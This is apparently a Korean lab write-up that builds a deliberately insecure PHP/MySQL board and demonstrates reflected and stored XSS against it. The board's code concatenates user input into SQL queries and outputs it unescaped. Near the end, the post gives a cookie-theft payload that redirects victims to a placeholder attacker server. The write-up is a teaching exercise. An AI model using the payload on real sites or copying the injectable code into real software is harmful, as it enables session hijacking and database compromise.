먼저 XSS 실습에 사용할 페이지를 구축해봤다.
1. mysql을 통해서 board라는 테이블을 위와 같은 요소로 구성
위는 입력한 테이블을 확인한 모습이다.
2. 서버를 구성하는 파일을 작성했다.
<?php
$db = new mysqli ( "localhost" , "jinhyun" , "0803" , "jinhyun" );
function sq ( $query ) {
global $db ;
return $db -> query ( $query );
}
? >
- db_info.php
<?php
include "../common/db_info.php" ;
error_reporting ( E_ALL );
ini_set ( "display_errors" , 1 );
? >
<?php
$idx = $_GET [ 'idx' ];
$sql = " SELECT * FROM board WHERE idx = " . $idx ;
$result = sq ( $sql );
$row = mysqli_fetch_array ( $result );
echo "idx : " . $row [ 'idx' ] . "<br>" ;
echo "id : " . $row [ 'id' ] . "<br>" ;
echo "pw : " . $row [ 'pw' ] . "<br>" ;
echo "title : " . $row [ 'title' ] . "<br>" ;
echo "content : " . $row [ 'content' ] . "<br>" ;
echo "date : " . $row [ 'date' ] . "<br>" ;
echo "hit : " . $row [ 'hit' ] . "<br>" ;
echo "is_lock : " . $row [ 'is_lock' ] . "<br>" ;
echo "is_delete : " . $row [ 'is_delete' ] . "<br>" ;
? >
- read.php
<?php
include "../common/db_info.php" ;
error_reporting ( E_ALL );
ini_set ( "display_errors" , 1 );
? >
<?php
// 과제 : id, title, content, pw 값 POST 형태로 받아올것
$id = $_POST [ 'id' ];
$title = $_POST [ 'title' ];
$content = $_POST [ 'content' ];
$pw = $_POST [ 'pw' ];
$date = date ( "Y-m-d H:i:s" , time ());
$is_lock = isset ( $_POST [ 'is_lock' ]) ? 1 : 0 ; // is_lock 이라는 매개변수가 들어오면 1 아니면 0
echo "id : " . $id . "<br>" ;
echo "title : " . $title . "<br>" ;
echo "content : " . $content . "<br>" ;
echo "pw : " . $pw . "<br>" ;
echo "date : " . $date . "<br>" ; // 시간은 서버시간을 따라감(서버시간은 GMT+0임)
echo "is_lock : " . $is_lock . "<br>" ;
// 과제 : INTO board() 안에 짜기
$sql = " INSERT
INTO board(id, pw, title, content, date , is_lock)
VALUES (' " . $id . "', '" . $pw . "', '" . $title . "', '" . $content . "', '" . $date . "', " . $is_lock . ")" ;
echo $sql ;
$result = sq ( $sql );
// 제대로 들어갔는지 검사하는 부분
if ( $result === True ) {
// 값이 들어갔으면 성공 멘트 출력하고, write.php로 돌아가기
echo "<script>alert('글쓰기가 성공하셨습니다!');</script>" ;
} else {
// 값이 잘 안들어 갔으면 실패 멘트 출력하고, 이전 페이지로 돌아가기
echo "<script>alert('글쓰기가 실패하였습니다ㅠ');</script>" ;
}
? >
< br >
<!-- location.href : 해당 페이지로 가기(페이지를 새로 불러옴) -->
<!-- history.back() : 이전 페이지로 가기(단순히 뒤로가기 때문에 정보가 살아있음) -->
< input type = "button" value = "뒤로가기 1" onclick = " location . href = 'write.php'" >
< input type = "button" value = "뒤로가기 2" onclick = " history . back ()" >
-write_ok.php
< html >
< head >
< title >write</ title >
< style >
input [ type = "text" ] , input [ type = "password" ] , textarea {
width : 30 % ;
}
textarea {
height : 200 px ;
}
</ style >
</ head >
< body >
< h1 >write</ h1 >
< form method = "POST" action = "./write_ok.php" >
< input type = "text" name = "id" placeholder = "id" required >
< br >
< input type = "text" name = "title" placeholder = "title" required >
< br >
< textarea name = "content" placeholder = "content" required ></ textarea >
< br >
< input type = "password" name = "pw" placeholder = "pw" required >
< br >
< p >You want to lock?</ p >
< input type = "checkbox" name = "is_lock" >
< br >
< input type = "submit" value = "Submit" >
</ form >
< a href = "../index.php" >메인으로 돌아가기</ a >
</ body >
</ html >
-write.php
<?php
include "./common/db_info.php" ;
error_reporting ( E_ALL );
ini_set ( "display_errors" , 1 );
? >
< html >
< head >
< title >index</ title >
< style >
table {
text-align : center ;
}
a {
text-decoration : none ;
}
</ style >
</ head >
< body >
< h1 >자유 게시판</ h1 >
< table border = "1" >
< tr >
< th >번호</ th >
< th >제목</ th >
< th >작성자</ th >
< th >조회수</ th >
< th >잠금 여부</ th >
</ tr >
<?php
board 테이블의 모든 내용을 가져오기
$sql = " SELECT * FROM board " ;
쿼리 보내고 변수에 받기
$result = sq ( $sql );
mysqli_fetch_array로 변수에 저장하고 row가 없을때까지 반복
while ( $row = mysqli_fetch_array ( $result )){
? >
< tr >
< td > <?php echo $row [ 'idx' ]; ? > </ td >
< td >
< a href = "./read/read.php?idx= <?php echo urlencode ( $row [ 'idx' ]); ? > " >
<?php echo $row [ 'title' ]; ? >
</ a >
</ td >
< td > <?php echo $row [ 'id' ]; ? > </ td >
< td > <?php echo $row [ 'hit' ]; ? > </ td >
< td > <?php echo $row [ 'is_lock' ] == 1 ? "lock" : "" ; ? > </ td >
</ tr >
<?php
}
? >
</ table >
< a href = "./write/write.php" >글쓰기</ a >
</ body >
</ html >
- index.php
3.서버를 구현하고 한번 실행해봤다.
write.php
write_ok.php
index.php
read.php
4. XSS 공격 확인
일단 XSS 공격이란 공격자가 웹 리소스에 악성 스크립트를 삽입해 특정 계정의 세션 정보를 탈취 한 뒤 해당 계정으로 임의의 기능을 수행 가능하게 하는 취약점이다. 즉 xss 공격을 시도하기 위해서 게시글 기능을 이용해서 확인해보겠다.
xss 공격을 확인하기 위해서 대표적인 코드인 <script> alert("this is me!"); </script>를 사용해 확인해 봤다. 위의 코드를 보면 xss 공격을 방어하기 위한 방화벽이나 필터링이 존재하지 않으므로 xss가 실행될 것이다. 한번 확인하기 위해 submit을 눌러봤다.
누르는 순간 alert 함수가 실행되어 그 안에 있는 this is me!가 뜬 것을 확인할 수 있다. 즉 이 페이지에서 xss를 공격이 가능하다는 것을 알 수 있다.
content 창에 썼던 <script> alert("this is me!"); </script>가 사라져 있는 것을 확인할 수 있다. 이를 통해 해당 코드가 실행된 것을 확인할 수 있다.
Stored XSS
게시글에 <script> alert(document.cookie); </script>을 넣어서 올려봤다.
게시글이 정상적으로 올라온 것을 확인할 수 있다. 게시물에 들어가보자!
악성 스크립트가 포함된 게시물을 올릴 시 해당 게시물을 조회할 때 악성 스크립트가 실행되어 Stored XSS가 발생하는 것을 확인할 수 있다.
이를 이용해서 세션 탈취를 실습해봤다.
기본적인 시나리오는 이와 같다.
[1] Stored XSS 게시글 작성
[2] 사용자가 게시글 조회 시 xss.txt에 document.cookie 값 보내주기
name부분에는 아무거나 입력을 해주고 massage부분에 해당 스크립트를 넣어준다.
<script> document.location = '[서버 주소]' + document.cookie </script>
게시글을 작성하게 되면 페이지가 없다고 에러 메시지가 뜨는 창이 나온다. payload가 바로 실행이되서 창이 뜨지 않은 것 같다.
다른 메뉴를 눌러서 다시 게시판글로 와서 게시글을 눌러봤다.
마찬가지로 에러 메시지가 뜨면서 주소창에 쿠키값이 나타나는 것을 확인할 수 있으며 개발자 도구를 열어서 응용프로그램 -> 쿠키를 들어가서 확인을 해보게되면 위와 같이 세션아이디가 같다는 것을 확인할 수 있다.
게시글을 클릭시 클릭한 사람들의 세션을 탈취할 수 있는 것을 확인했다. stored xss는 다수의 사용자 쿠키값을 대량 탈취할 수 있기때문에 꼭 대응을 해줘야한다.